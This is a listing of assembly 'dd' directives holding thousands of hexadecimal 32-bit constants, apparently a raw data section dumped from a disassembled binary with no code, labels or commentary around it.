		dd 9805259h, 939D1BFh, 0EF297E53h, 0CE8E7154h, 74FA171Dh
		dd 2E8DEA9Ch, 0B5A13A21h, 0E2F9250Eh, 16F1F770h, 0FD6D9D68h
		dd 17BD9685h, 17828784h, 800E00AEh, 5835EA38h, 0D2014073h
		dd 0E962A27Fh, 0C83EF979h, 1D25680Ah, 7CBC1256h, 914CC529h
		dd 0A5F3A2BDh, 826BD6BDh, 0ACD19AFh, 1EB1C684h,	5A9009FCh
		dd 0F51A80F3h, 4AA65B17h, 0CD9EE1EEh, 5E6B67F0h, 8002DCACh
		dd 480C6A32h, 6898B1F0h, 0AE350203h, 0C8263D75h, 5BB8E9F5h
		dd 263EBCFDh, 61024842h, 0FF1B221Fh, 7F87CB09h,	5BCF07B8h
		dd 812480F5h, 1DCD0CEBh, 6DE965FFh, 4E2DA900h, 7D3BFA2Fh
		dd 6A840E40h, 61E962EBh, 20DAEE78h, 510068ECh, 0B050D2B5h
		dd 72885377h, 13FE58C7h, 16C17510h, 79F41CF7h, 169D2A0h
		dd 0B7099093h, 4117D33h, 31895342h, 2A812AFh, 5D9EE98Fh
		dd 20683C90h, 7998715Bh, 0EC8E5F3Bh, 0D1ABB5DCh, 93C30113h
		dd 29FA513Fh, 699C6E1Ah, 0A7680253h, 5B142858h,	0CB817FE8h
		dd 18743B02h, 7860E939h, 4F09EA68h, 4B2CE35Bh, 0A888A395h
		dd 89C54ED3h, 0D57122A1h, 66F19825h, 0F0F3B722h, 77BB6885h
		dd 0DC60DDE2h, 6CCB75D5h, 0C67C567Ah, 0F85EF72Fh, 23C40287h
		dd 0FA293BDBh, 0DC280808h, 538AA9Eh, 0C6B151C3h, 291AC1BBh
		dd 0E183AD1Fh, 0D2CEC91h, 4858AC4Ah, 61B62D67h,	0BAC759D1h
		dd 548F4933h, 6FFCCD2Fh, 344A62CAh, 8E0DF257h, 63A8F68Bh
		dd 0E1DAEEF5h, 3BA31510h, 0A07C124Dh, 0E0C247E4h, 275F7646h
		dd 256D031h, 6D1568C1h,	38C4C66Ch, 0EC6DD15Ch, 7A0DE193h
		dd 0D9FEB684h, 852A7D02h, 1264D913h, 0C82744EAh, 7DF1127Fh
		dd 9FEEC12Eh, 26C704BCh, 0A6371C09h, 0DD69915h,	2FD36C58h
		dd 0F02E80Bh, 59D5854Fh, 49C7FA91h, 0D6CCF27Ah,	962E208h
		dd 8A04C831h, 89280BEBh, 4589D5D9h, 68E090F5h, 0FD114FCAh
		dd 81A485EDh, 58BF2016h, 575608E3h, 0D63C5E64h,	0B52DBA16h
		dd 8947136Fh, 0A02A4222h, 0BB05A166h, 0E835693h, 9FEC20EBh
		dd 0E9E45087h, 68F82F27h, 82ACCD8Ch, 0FEBE897Fh, 4E5365B4h
		dd 0C9BD5282h, 0CB86AE6h, 0F995441Ah, 1283442Ch, 2A5229EAh
		dd 0AEF544A2h, 12A36964h, 0FE22CC93h, 58FB2084h, 3C7877E4h
		dd 69174E31h, 8B423DEEh, 136477C5h, 0F30DC399h,	473CD9AAh
		dd 0EA58D684h, 0AEE9BC37h, 7DBF8204h, 0FD174119h, 0A22646EEh
		dd 4AD2781Ch, 0AC018050h, 6E979904h, 5286C0ABh,	0D788E5B2h
		dd 6307F99Fh, 0B7010973h, 0A6C6B7EDh, 423F2D95h, 0EB67E98Dh
		dd 0F5DFB25Fh, 5682DA45h, 0A1594368h, 8716E90Bh, 9C7E9D7Bh
		dd 6F093666h, 68228226h, 60167CFEh, 385DF5BAh, 0C101284Ah
		dd 0A557FDEAh, 55C700EAh, 18C2625Ah, 430B5F99h,	0C584CA6Ch
		dd 6F562F0Fh, 15317607h, 74CBE2C0h, 4A5F334Eh, 0FBF873Ch
		dd 8416AAB3h, 5BC48BACh, 0E5971DB2h, 0ECB1CC04h, 606BB012h
		dd 0C4C64716h, 842970F0h, 0E9C8A1B7h, 31ADFA0Bh, 0D2E53459h
		dd 0EA22FB22h, 1290C61Ah, 0AB72C168h, 3783D765h, 41DB923Fh
		dd 0B80008ADh, 72481928h, 0F089407Bh, 7AF73658h, 2A040B04h
		dd 0E184FB01h, 0DF5F0809h, 0D2E9CF21h, 0AE443AB9h, 0D21E799Eh
		dd 0C8BFA4E3h, 64D1596Fh, 0CCBB1A36h, 0B5416820h, 0A09D8600h
		dd 5F027BFDh, 5C7633E5h, 34576EC9h, 0CD73EABFh,	0CF9F231h
		dd 9D462811h, 0EC5B5E61h, 0B0E9A111h, 0BF001128h, 62883E4Eh
		dd 3AF8F921h, 0C17D5A61h, 6ADD59A9h, 0BFD2A4h, 7FD0264h
		dd 0E918F131h, 0BA2A8A8Bh, 0E153140Dh, 3318E510h, 46C59576h
		dd 5976EEE0h, 6FFC9AE6h, 8155AC48h, 4E302F81h, 5007C270h
		dd 997C8E48h, 0B72684F4h, 0FCF2811Eh, 0E90C8425h, 0ADA49BB3h
		dd 56ED8089h, 980BD80h,	456B1907h, 2B0B09D2h, 0F0A7438Ch
		dd 0B544F25Bh, 8A04C79h, 0D10DAC02h, 0B4C2945h,	40A2508h
		dd 899F90E9h, 7B0B2C34h, 11EC9652h, 0DA16463Ch,	2E29FFDBh
		dd 8357D26Bh, 89539755h, 74C226E9h, 0CE9112F7h,	0E9570BB4h
		dd 0B674DD9Dh, 82596B45h, 0A72E5CA3h, 4C09D6DCh, 6F98D71Dh
		dd 99CD8A6h, 29659580h,	0B05856D7h, 3DC56E57h, 51FBCCD7h
		dd 1A6210FAh, 945BDDE9h, 0DB0B0567h, 0D22A850Fh, 11405113h
		dd 0BE80A0C6h, 0A14C12ACh, 9712FF34h, 59FD2601h, 11200ECDh
		dd 9E7904DAh, 82C23170h, 9208858Ah, 16E03508h, 0B012BC48h
		dd 5AB57D5Ah, 8E2A816Fh, 604D027Fh, 3E6D468Ah, 0C325CF0Eh
		dd 0E35AAA04h, 5466251Eh, 0AB68618Ch, 0C3F15228h, 0DD5509DFh
		dd 9599421Ch, 0AC145369h, 5BE8099Fh, 0B56275D4h, 0B6EEC6B3h
		dd 3D7E2F98h, 0FD798BADh, 50930700h, 0EB4FD3E9h, 2141C7D0h
		dd 0B25DE0EAh, 0B962374Fh, 91FC63CFh, 80BE0C50h, 5974C601h
		dd 282FB551h, 49E8E9E4h
		dd 0B09FDB6h, 0EE826C6Eh, 0C7D612A0h, 1D6A51E6h, 6C154CF6h
		dd 0C85D5AD7h, 129DF5E3h, 5603FB51h, 0FF8DC4B5h, 218A0490h
		dd 70E76CEh, 0E27A51C9h, 1F1C009h, 4660D638h, 6960DD0Ch
		dd 9EE92C14h, 0F3288BDBh, 3FB53241h, 2CD75BF5h,	1FB48B10h
		dd 7CC289CFh, 1EB37A86h, 0E8BDB85Fh, 533ADE75h,	3955A456h
		dd 50317AF3h, 6BC45F0Bh, 7405BF21h, 0EC9953CDh,	926C4825h
		dd 55B06BBDh, 735E06E9h, 0C19F10E8h, 0D3DB36F6h, 75C3835h
		dd 32770C6h, 0DDEFCBBFh, 7EE97521h, 8037448Eh, 0B8163F76h
		dd 0B4F33D4Ah, 0BFD17250h, 0F30083C5h, 61363156h, 0C1EB7CC1h
		dd 9AE90606h, 682E85ADh, 32FA5D87h, 0D34A88D7h,	16EFC04h
		dd 8702EF83h, 0B1800C29h, 0CA88521Ch, 0E4A12BE5h, 0BF6572C2h
		dd 0B325B7FAh, 0C32E5DFh, 0C5ADF213h, 0B52C7C09h, 9716564Eh
		dd 0CC1B5DB0h, 0FE0A5417h, 3F80C439h, 0E74BF5DCh, 5DE8850h
		dd 66B652F8h, 0DBC609AFh, 0F0F3590Eh, 0BF80FE28h, 0CC1F0009h
		dd 3DCF811Bh, 6F581530h, 476E046Eh, 0D7AA7FC1h,	193F90B9h
		dd 0BAA16296h, 1369BB65h, 0AAE57BF2h, 2BCB940h,	758BEC3h
		dd 2F8A7778h, 7AE9D9C1h, 10A32AFCh, 0A09AE84Ah,	0C088A7E9h
		dd 2DE8F2FDh, 1951E49h,	5D07F591h, 5F98017Bh, 418B9BE9h
		dd 6EB1C242h, 0A6202C89h, 0E2D1B5BEh, 3DB2FDBCh, 0E1395E4Ch
		dd 26E76F83h, 45E4776h,	0F3136A71h, 60B83EF6h, 81F801A5h
		dd 91DE0130h, 0F7E913F9h, 0C7B59797h, 0D73BFAF5h, 9C9FF89h
		dd 0A0BD0694h, 385ACFFDh, 48E91215h, 4E14E395h,	9E84B734h
		dd 482654C3h, 294FE123h, 5A1C3E3Ah, 0B000CED7h,	643E6652h
		dd 44029729h, 680194A3h, 996F6A61h, 0B7C06B88h,	53BB705h
		dd 0F0292EB9h, 9907102Dh, 6BF57E7Bh, 37C66FEh, 6852D801h
		dd 8F266626h, 0B62ED1Dh, 9435821h, 8009AC88h, 3B981698h
		dd 0D30F8F2Dh, 0E44AFB8h, 67E1585Bh, 7E2DD2E7h,	6CAB6009h
		dd 82906F7Fh, 6E8115Ah,	3665EB93h, 61FF0D13h, 2CDC89Fh
		dd 7182F564h, 0ABD5527Dh, 1E8601EBh, 822EAA73h,	5F1A0983h
		dd 0E5C11CB2h, 0BC4305Fh, 0B85B0CE4h, 9029FD1h,	5B025013h
		dd 0AA2590BBh, 40266203h, 1472E364h, 0F9283149h, 0B43AE204h
		dd 0D3E0AA61h, 0CCEF5EC8h, 0EA5A6FF5h, 0FC07F0B2h, 0C2339D7Bh
		dd 81FC65A4h, 0ED9F3BACh, 0E9531372h, 68009263h, 0C3274B27h
		dd 627A225Dh, 79BD00BEh, 82BE7440h, 3E70DB02h, 0F4E8FDFCh
		dd 0D1817CE1h, 0BCDAC70h, 267B6B3Ah, 18F6487Ah,	17A26A04h
		dd 0A80EDD1h, 58FF2284h, 0CE043A3Dh, 0C76EB640h, 0B80B882Dh
		dd 0D1B663D0h, 0FE78F53Ah, 0F3F82184h, 0E5944E30h, 0A9FBCBC2h
		dd 0AC0379D9h, 0D0A005Fh, 0FB2D531Fh, 5035A54Ch, 870B58A2h
		dd 0AB54E9EBh, 0F82D7761h, 681AF1FAh, 7C12063Dh, 4E600A6Bh
		dd 0FB4584BFh, 0E916D1DEh, 0BA2684F1h, 497F53CBh, 0BE19D7E6h
		dd 0EC56152Ch, 99B5FDB7h, 133EEDABh, 0D52BFBA5h, 2CE98079h
		dd 0C1955154h, 17A3025Ah, 91FD66CBh, 33B013AEh,	2B45CAEAh
		dd 30AD544Bh, 0B910F805h, 2D8E820Fh, 0A80078Fh,	5E565376h
		dd 41FEE924h, 0AFF3DEC9h, 2E32CBE7h, 684EDD0Ah,	13DAC748h
		dd 12E31A0Ch, 8B1E1D16h, 0C35E7809h, 0A466FBD8h, 36709DDFh
		dd 586A5D20h, 0FF409D31h, 2852004Bh, 1E58350Dh,	0FDEA39BAh
		dd 4FFA3D05h, 0AB83E883h, 0C05CC3E4h, 0F75BD55h, 9766057h
		dd 0F9055DC0h, 0F7482BBFh, 1D7A04C1h, 0C2D73B40h, 0E906082Ah
		dd 2D89ECD2h, 0E85C5FFBh, 0E8A56244h, 5C032D9h,	0F4099742h
		dd 2DBF0671h, 4E62F86Eh, 0F3A98D58h, 95A21492h,	307D5AD7h
		dd 0BA50345Fh, 3EB307Bh, 1C2B4B90h, 0AAB07AF5h,	1F34BCFDh
		dd 736B87BFh, 0B7A9AF2Ah, 0C10051E5h, 73AC1465h, 83DF2FE9h
		dd 0B0B54573h, 0FAC934BAh, 0E917778Ah, 0C46A5E95h, 0AAC968F0h
		dd 916B1F8Dh, 2EB6034h,	95E3B85Ch, 0E4F9BF67h, 0C98A85EBh
		dd 0DC1AF52h, 8C7F4481h, 39C6594Bh, 7E13BE9h, 443E90B8h
		dd 0A407A22Ch, 52621F56h, 9CF70BD1h, 96D1A1F5h,	79E18100h
		dd 30DE0214h, 0FDE40792h, 0EFC0CF29h, 32FF2A74h, 0C710016Fh
		dd 4BF5E910h, 1EC6F3DDh, 2FD3D1F6h, 6E684B80h, 6E932Ah
		dd 273E655Dh, 7028B05h,	0C9E90957h, 0ED2755CBh,	919882E3h
		dd 8DC9CABh, 5565A58h, 0F720BABEh, 55508234h, 937C2962h
		dd 0A90F2C17h, 0BF4124F8h, 0F2A3BA5h, 7E70C6CAh, 0A4F0E33h
		dd 0EAC9D380h, 0B0B5D06h, 0B30159D3h, 0C0CBFE69h, 0EA101278h
		dd 79C48D9h, 7414D53h, 4BA88AB2h, 0F082B232h, 0BA40D2B3h
		dd 0A030972Dh, 7D87D5F0h, 0C0093278h, 0E5778810h, 52588F04h
		dd 0EB81DEABh, 358A5B5Ah, 3A6CE973h, 8E2D8346h,	4EA220D9h
		dd 0C3B15109h, 800705C0h, 0AEB31C7h, 0CB818060h, 328C7972h
		dd 219F3D8h, 0E930F10Ch, 0C9DBC089h, 0B24BAD3Ch, 8E67304h
		dd 0F71D73BBh, 207152AFh, 0CC9D790Bh, 8071E04Ah, 1825685Ch
		dd 0CDE7D63Fh, 0C39A2A56h, 30E65Ah, 7931294h, 2868F681h
		dd 26BD9F60h, 403DCB6Bh, 2F5DCE3h, 64CF8927h, 9568074Dh
		dd 9946C74Dh, 263FA1F6h, 5A922A7Bh, 973B628h, 596C7D54h
		dd 86E32BDEh, 0BCCB4ACAh, 36F381C6h, 1F454C93h,	929D5EEh
		dd 937E8C3Ah, 124F7863h, 8C606F8Fh, 674BA2Fh, 0D103619Dh
		dd 5F13F07Fh, 96920302h, 0F9D477E9h, 14710F95h,	0F8F36144h
		dd 59E2D64Ah, 67B14519h, 48CAF0C9h, 0E507CCB0h,	17AC7FC8h
		dd 4495C560h, 0C45606Ch, 0C0D77034h, 8F2D895Eh,	743AB001h
		dd 4CAA53B8h, 9472FA5Ch, 0B02D00EAh, 29161238h,	12B04CB5h
		dd 915ED5E9h, 36584805h, 61E31050h, 87B4500Bh, 84F6D5F8h
		dd 455F84B5h, 0AB6425BBh, 86410F8Ah, 0FA12D47Eh, 225FE502h
		dd 0AC625530h, 0B8072C4h, 922D6851h, 12D7E521h,	80327059h
		dd 7E00E238h, 76ACEE81h, 1571785h, 4D3AECBFh, 357FE908h
		dd 4CE8D471h, 0B0DD4C95h, 0CBEF9C2Ah, 1E6CF059h, 0E9B40BB0h
		dd 0A713E22Ah, 777EC8BAh, 45E8C38Fh, 94EB3759h,	0C081AA1h
		dd 408AEAFDh, 9E6A977Fh, 0A358BC3h, 0E08A1977h,	0F1805F87h
		dd 94B1857Ah, 1E9ABF6Ch, 2BB5308h, 732F26B0h, 0E96C0DC4h
		dd 3969707Ah, 0E1AB841Ah, 7350012h, 7E05D0F7h, 2E211300h
		dd 0AFD3D72Dh, 0C1094CECh, 50808F13h, 0AB409392h, 0F4643A44h
		dd 0C31F2EFEh, 3C8B4970h, 96A4E654h, 0FAC50842h, 3EF183AEh
		dd 7127FA08h, 6253D207h, 0E7DA6DEDh, 7FF04FF6h,	0B763A9F6h
		dd 0C186B323h, 2781AFBAh, 240D9868h, 0F1F2703Eh, 6435CE41h
		dd 27D7D4CEh, 6B3FE565h, 106293ECh, 3FAC997Ah, 8F30A558h
		dd 4BD8667Eh, 0E71B70Ah, 1FC05F64h, 18C94F42h, 0B46357Ah
		dd 99925EE9h, 0B47430F3h, 0EAF471Fh, 3DDF908h, 0F517B866h
		dd 6E50D1C9h, 52085B88h, 0D939916Ah, 254192D1h,	7DEA2CEAh
		dd 10640E82h, 9B14CFDFh, 17E09A5Dh, 9906C78h, 0A2576209h
		dd 0D07469h, 453AB951h,	314C417Bh, 0E0C100A7h, 48260D08h
		dd 0BC045EA1h, 0C8F6C586h, 57885FEAh, 0B020AA4Dh, 2F80DDB3h
		dd 0A776D0EBh, 19BC6209h, 3CE966F6h, 407CDF28h,	594F5458h
		dd 0BC5B8D8Ah, 0D577B217h, 5F98BA09h, 20866852h, 17909E37h
		dd 0DAA744B9h, 0C0022FFEh, 4DCFE55Ch, 8C2CB953h, 19EBE600h
		dd 0C1467010h, 0DB9805EEh, 975A3212h, 33B127FBh, 6DC9A249h
		dd 7B002555h, 2FE908E4h, 13208BECh, 874627C5h, 71DD049Dh
		dd 967660Ah, 6C554AB4h
		dd 99819F11h, 6F10C122h, 5557BC3h, 1A194EE4h, 9B0CBF3Eh
		dd 58890F4Ch, 0CB24D4D5h, 90F34296h, 0B307895Ah, 584F114Eh
		dd 6B6FF270h, 40656027h, 54E520C6h, 1AFB4250h, 39833C17h
		dd 504820BAh, 5B6004AEh, 7D17460Ch, 0AC014A32h,	772DB23Ch
		dd 0CB7C3AEAh, 0E7ABBA0Ch, 4FBE2768h, 0B2503B7Ch, 4719553h
		dd 355BBD01h, 4A605728h, 7EDF41EDh, 0E21EB4C1h,	2B6F2D2Eh
		dd 848481E3h, 0BA52039Ah, 4FE8992Ah, 0C42E8BEDh, 0F7B3AF5Ah
		dd 19E868C2h, 66B7EF4h,	0B22D0FBBh, 0C17E5F2Bh,	0E0CB88ECh
		dd 757BB050h, 0C1C2C54Fh, 4E27F29h, 5E8DC955h, 4ADBC82Bh
		dd 87B27A4Bh, 1DB08039h, 0B652BA06h, 1EC325Ch, 0E9CE30BCh
		dd 0F33E992Fh, 7B8F386Eh, 5949A125h, 0A152961Ch, 0EBB42026h
		dd 0C563E13h, 835B9FBCh, 5981C7C4h, 2A12F31h, 8E66632Eh
		dd 61B0C95Ah, 787641FEh, 0F04F7FBBh, 0F1F69605h, 6ACCD84Fh
		dd 689AA134h, 29874087h, 20619047h, 0D0BF864Eh,	1AF62768h
		dd 0B7FACF2h, 0B7FA3624h, 81932A50h, 0AE7D3056h, 0A20FD9A4h
		dd 65791358h, 39FAC8FDh, 0AEFB4426h, 0DA4C718Eh, 8A908225h
		dd 5462FA68h, 0EF7B31Bh, 0CD48FCA4h, 0ADF4F545h, 27BB5E11h
		dd 52C00C5Eh, 53C0B2h, 0C7FE61B7h, 2CC1EF80h, 209DAC5Ch
		dd 0F4FA82EEh, 5E19AD75h, 0F4F5F3E9h, 790A32B0h, 0D95D749Ch
		dd 290F3019h, 0EBD4C37Ah, 0C18380E4h, 267CC02Dh, 5195EA79h
		dd 0AB173444h, 411FBD2Ch, 0AF876F75h, 30922385h, 4CAE066h
		dd 295B8051h, 0FE307232h, 0B11C0C87h, 92C9D3B5h, 0ABCE0421h
		dd 5E54056Fh, 0EECED8FBh, 7C516E27h, 50AD16A1h,	1389250h
		dd 0A059D527h, 4103B362h, 0BD61766Fh, 167D5660h, 1EC0C1FEh
		dd 0D5923A6Ah, 0BAA81620h, 1C39206h, 0D14E409Ch, 7E84EA5Ch
		dd 4161E841h, 0FCB21C3Bh, 70C08B2h, 12760520h, 684A098Bh
		dd 2BD9773Fh, 169EA388h, 16EBE2B9h, 9B0987D9h, 25947C48h
		dd 88A31655h, 835ABEE5h, 952945A0h, 0D2172E5Fh,	0BA5324BEh
		dd 60B24392h, 0FB0112AFh, 1FC7C8EFh, 56B42F79h,	5218E270h
		dd 1C0C6F48h, 0E088024Ah, 15F5A57h, 4E5BF35Eh, 0B451A940h
		dd 53595A21h, 0CE83CC41h, 0DC18B401h, 0A5AAF83Eh, 0ED0F6478h
		dd 0A41B0D11h, 0E929BA5h, 4CB37D58h, 232BC08Dh,	0C66688E9h
		dd 0F4D35F25h, 0B4A55F52h, 7A256380h, 4D564048h, 6079273Ah
		dd 0CB05759h, 254A2123h, 0E9D02934h, 1001E906h,	0B906ACCh
		dd 317A5D2Dh, 44FD46D0h, 47FA0808h, 26A90516h, 0CDA977Eh
		dd 2AB5F5A1h, 44AD1C75h, 0C949B8D2h, 4C650250h,	0E9E84049h
		dd 2B8B586Dh, 21B0289Bh, 72900EFCh, 550DFB6Bh, 0C3833882h
		dd 923D357h, 0A2D9BC56h, 95352D82h, 0D3BA4040h,	824EB4AAh
		dd 5DAB649Eh, 692D5C40h, 6D90720Eh, 57A53AE9h, 0D6205179h
		dd 0C13F5941h, 1545AD3h, 89C417B8h, 0F72EF426h,	102EC829h
		dd 48462DD0h, 645168A1h, 0D56AF769h, 50640F0Ah,	12AC0104h
		dd 0F64B6A1Dh, 7C6104D7h, 23120507h, 0AD177FCh,	0CDE72C65h
		dd 0E9307B85h, 0EC064F86h, 4BCADFE4h, 5469C777h, 41505178h
		dd 78D5BA8Dh, 0DF829C52h, 0F82B4C1Eh, 0B8504B7Bh, 76260BFFh
		dd 66E38451h, 2D5AF413h, 0FC5FE140h, 15464F1Ah,	0C187E988h
		dd 9D25E291h, 943D6C65h, 101F821Bh, 0AC316E68h,	6919A2CEh
		dd 277A580Dh, 0E6017CD0h, 62FEC75Ch, 0A44965Ah,	0EE1670FBh
		dd 0D875AA4Ah, 0DFAB4AAFh, 0E25D63A7h, 65F568CEh, 0F25518FBh
		dd 950F3FB9h, 0B0ECE976h, 7EB5BD00h, 814D606Ah,	50E3E501h
		dd 0EDD172FBh, 44E21083h, 0F5F36CBDh, 203502AFh, 0F50A880h
		dd 13F13DFh, 8A272EAh, 235C8762h, 50A38B5Ah, 7A1B9D1Eh
		dd 5169C3D9h, 31805AF6h, 6BB02B6Ah, 13B57151h, 0A1284BB6h
		dd 0C16AF9C3h, 56C7D7E6h, 1F3E1258h, 5A3C59E9h,	267E7880h
		dd 21EBB060h, 2BFB87Ch,	7E731CCFh, 85EE136h, 0BF05C56Bh
		dd 7F223982h, 5B5E9DE8h, 0E970470Bh, 59B240AEh,	5BF04C28h
		dd 7EE9688Fh, 215F5EE6h, 9EBDECC4h, 6E320B9Fh, 79EB25DEh
		dd 0EF5CE5C7h, 25E9AB8Ch, 7268F8E6h, 104C407Dh,	0F6DF3E11h
		dd 76474D49h, 0CF4C430h, 0B8D6F65Ah, 8C4B9D84h,	0F1825DC3h
		dd 85A6F451h, 265FA3Eh,	0C1BE6106h, 4ADE59Fh, 6EA920ABh
		dd 0AA4C2D94h, 95955BA8h, 996BC82h, 460C50D2h, 0C3B7961h
		dd 0E64D1276h, 4B471C55h, 1FF25993h, 6C41880Fh,	0C1318B0Ah
		dd 0E06A2121h, 0E29F3B39h, 0BE6DD1C0h, 0CCD98812h, 847C2CA3h
		dd 9E9B309h, 89B46A5Dh,	8928F62Ch, 0E7520288h, 0F6E6D72Fh
		dd 1EE5134h, 0BC64C74Eh, 0EFF0B76Ch, 0B54CCAF4h, 2F1A8434h
		dd 0F44F1DB7h, 4440190Eh, 4B7612BFh, 0C535092Ch, 939A9D5h
		dd 82D2D936h, 2902E368h, 20053660h, 23AE6113h, 294ACB14h
		dd 1508DF60h, 6FBD015Eh, 4424B136h, 0E570C0C2h,	20EA43BAh
		dd 77C94550h, 1EF43115h, 0C31E78BEh, 572E66E2h,	2C54F808h
		dd 68DB0767h, 0A6F6B9BAh, 7708456Ah, 2C5A07DDh,	975E0ED8h
		dd 0BE534042h, 57944DEEh, 0B30A47B0h, 0A12A481Bh, 58CE11Dh
		dd 2550C58h, 0E96C5724h, 86A1EAA0h, 0F7E85DB3h,	0F673BDF0h
		dd 0E9DC6D05h, 0C5A4A9E0h, 0FF67B890h, 5FF92900h, 7C954890h
		dd 4FE978B4h, 591289B4h, 19EC5785h, 49E3F34Ah, 0C13814B2h
		dd 627F27CDh, 8D6C571Dh, 630BB298h, 8611E50Fh, 0BD0D6717h
		dd 0BCA8DCD8h, 655F95E9h, 40E20DD2h, 1F6EEA7Eh,	0CD21983Fh
		dd 3E1E64B5h, 0B4F9CE29h, 93D9D5AFh, 0F61B08h, 827F381h
		dd 20B697E5h, 0EC08C924h, 0F85C138Dh, 0CCAEB57Ah, 0F25508EBh
		dd 90D76B68h, 0ABA170C2h, 9703D58Ch, 0D6DF4C99h, 0C3A01791h
		dd 18309601h, 58C5C81Dh, 0E93A08E6h, 0F8829C6Ah, 0A9048A68h
		dd 54A9DA3Bh, 1681A330h, 12162AEFh, 4B0CEAF0h, 58FB7E56h
		dd 5CCB73C1h, 7CC3783h,	250036B2h, 2887CD1h, 0E5DB052Eh
		dd 405DD2BEh, 82696B16h, 89DA8563h, 728A96C5h, 624F9DE7h
		dd 40158D35h, 2884A80Dh, 94A3FC5Ch, 7D825246h, 0C7DF4915h
		dd 167F25C1h, 0A44A9ED4h, 178400FBh, 48E96FC2h,	0D03B5892h
		dd 9DDE97ECh, 906476B4h, 0E68270AAh, 26722468h,	1FD668ACh
		dd 0EBBBB093h, 0C12D726Fh, 2AA4A12h, 0D498E908h, 21D32773h
		dd 0A6967D49h, 7DACE913h, 16E1CAF4h, 0A10BD644h, 0C007420Fh
		dd 9C065809h, 44685091h, 2D757ABFh, 46A7A875h, 0C7698480h
		dd 0C88800FFh, 9A130459h, 4AB0324h, 0BA7BDABBh,	82FD131h
		dd 6C1A9D6Ah, 0AB87CBC9h, 5A86DC22h, 5C94A659h,	0F9F7804Fh
		dd 0AC39B768h, 65E7A0A8h, 59278641h, 0CB51D357h, 0E904EFD1h
		dd 22A3800Ah, 3DC1B10h,	109A6853h, 0CE265163h, 5867E76Eh
		dd 3DDB03ECh, 0B2E97E1Bh, 9A257C9h, 40A6C4Ah, 1A80AF13h
		dd 5C2826F3h, 0B05AB9DCh, 274EEBBCh, 68C24FE8h,	0B1F5238Eh
		dd 4018255h, 0FA283F4Eh, 0C09E14B3h, 0C300C3E3h, 0B1515266h
		dd 2A4EE923h, 80EB7B12h, 0C7FA7CC7h, 0E2318527h, 0D63057AFh
		dd 0AE96D729h, 82C242CCh, 18CB40F7h, 0E2DB9F42h, 14D25904h
		dd 0FB40A645h, 6E1C2930h, 2A487D81h, 0DD0536h, 0E82D40D8h
		dd 898F870Eh, 0AAE4090h, 12CC6720h, 0A81DFE68h,	5D39C529h
		dd 9182AD21h, 0F359BE00h, 11F5609h, 9B4AC5D6h, 0AB9DB3EEh
		dd 9016FC1Ch, 0A125AFh,	7BAAFB6h, 8CB65367h, 7D272202h
		dd 15455364h, 0BB400CEDh, 56F2B453h, 0DC18E29Dh, 0FBFA6258h
		dd 0B5A1EED7h, 6D593FE8h
		dd 9039DF82h, 572BFEB8h, 0FB52BD85h, 0CABF1C72h, 2DB10020h
		dd 4F1BB6CBh, 0CE83E164h, 0A03EC5D6h, 0C2425B7Eh, 91CA084Fh
		dd 4E940940h, 0CD3C2981h, 357DA10h, 4033E5BFh, 4F07D341h
		dd 99E7A015h, 38D3283Bh, 51CB005Ah, 0F580B8B5h,	39CDE637h
		dd 38F8FE40h, 0EB0B35EDh, 0B1D78AE9h, 0FCE1338h, 7442C5A9h
		dd 0E2B1FE40h, 6BA0306Bh, 0E9F21205h, 4ABAFDEEh, 9CCCB9E0h
		dd 0D2069F2Dh, 3A42B103h, 312EB699h, 6AF9F6F7h,	9A172FB3h
		dd 42D7680Bh, 0D84F3F4Bh, 7304C072h, 2659CF01h,	127DFF7h
		dd 82C65A7Bh, 54F06A29h, 0D2914D9Fh, 35F349E4h,	52E86075h
		dd 1D32B855h, 44A177AEh, 0A4D13EE9h, 72169A7Ah,	0A30F40D9h
		dd 0A3F3C45Bh, 0A26023C8h, 0EAAD00BEh, 2535001h, 0B0B4BEB3h
		dd 65C5DC30h, 0AF48080h, 1E58E220h, 4102EAC0h, 0FE9B5C2h
		dd 0A1C92B71h, 16FF8B7Ah, 0B8378A01h, 0C5B0C385h, 0E381034Bh
		dd 434F75EFh, 7F490C05h, 7BC2300Fh, 88510499h, 4B403F6Ah
		dd 2300FBDh, 0D1491925h, 0F2813BD4h, 3A556CB3h,	0BBD7920h
		dd 29B8B1E7h, 42D93277h, 0CB45F755h, 2597F8ADh,	0B351E0E1h
		dd 61AE4E96h, 3AC334Fh,	894F4C5Fh, 2C7FC705h, 78F20018h
		dd 0E9774741h, 0E61EB85Eh, 52766E80h, 0C06ABB0Bh, 0E9CB310Bh
		dd 65990247h, 35EE3F28h, 7E697D00h, 0E9C3015Dh,	0B5D7A805h
		dd 601AEE10h, 0F6EBEB8Fh, 0C4C0B92Dh, 0ED1DDFC3h, 8040978Ch
		dd 5F32F901h, 8558251h,	5AB703EDh, 401DFF6h, 5235C780h
		dd 7038FE88h, 5485EC5Ah, 7A2D84D2h, 0EFAD6DEh, 0C4BD8580h
		dd 0C55FFB29h, 0D998EA44h, 0D2E91954h, 0E0C697C1h, 0F94E3C49h
		dd 8F175CA9h, 9628EA7Fh, 435F04F7h, 0FD3105D6h,	12CB5107h
		dd 44F7BA98h, 5AD009E9h, 0AE752D5Bh, 7D37A2C4h,	83C8F7CCh
		dd 9B97D956h, 51A3C7F0h, 8BF75091h, 0ED383D8Ch,	78629E61h
		dd 0F67B6015h, 26F5FC06h, 1AA89B9h, 8A6A7135h, 24F2E902h
		dd 0E4276866h, 0D1617657h, 7DD2A5E9h, 26FCDD96h, 46F0696h
		dd 0CAEE9ABEh, 9BBD80C5h, 0C035C105h, 0E270D7BCh, 2095215Dh
		dd 906FBCBBh, 0A2E9182Bh, 62CA514Bh, 341B5A01h,	0BF57E2D1h
		dd 299279BFh, 1B29FEFAh, 0B6D79440h, 8A6A4E76h,	4FB85F4Dh
		dd 7438AE4Ah, 41E59053h, 0CD6A82B7h, 0D5DFEB6Ah, 82D5568Bh
		dd 748CE950h, 0A4311DDFh, 9CD1765h, 0BDDC8465h,	56995C45h
		dd 17C9887Eh, 56071F70h, 3A2CCC05h, 2551968Bh, 715888E9h
		dd 4971F1B5h, 4740EC84h, 6FD2A3BFh, 69846037h, 30991254h
		dd 14921409h, 0EAD8CF12h, 5459D7D9h, 76EA2488h,	0E639DD25h
		dd 0E7ED2E66h, 254E503Eh, 0D509BAB9h, 0C870AB28h, 97C79E89h
		dd 210932C7h, 7D1329F8h, 0E951F19Eh, 159C2FFEh,	0CC4C5F12h
		dd 14296873h, 548FE57Dh, 4878445Ah, 3F9A4993h, 9B8BDCDh
		dd 1A441FAEh, 66C10D10h, 0AE0F0549h, 772305DAh,	3FF699ABh
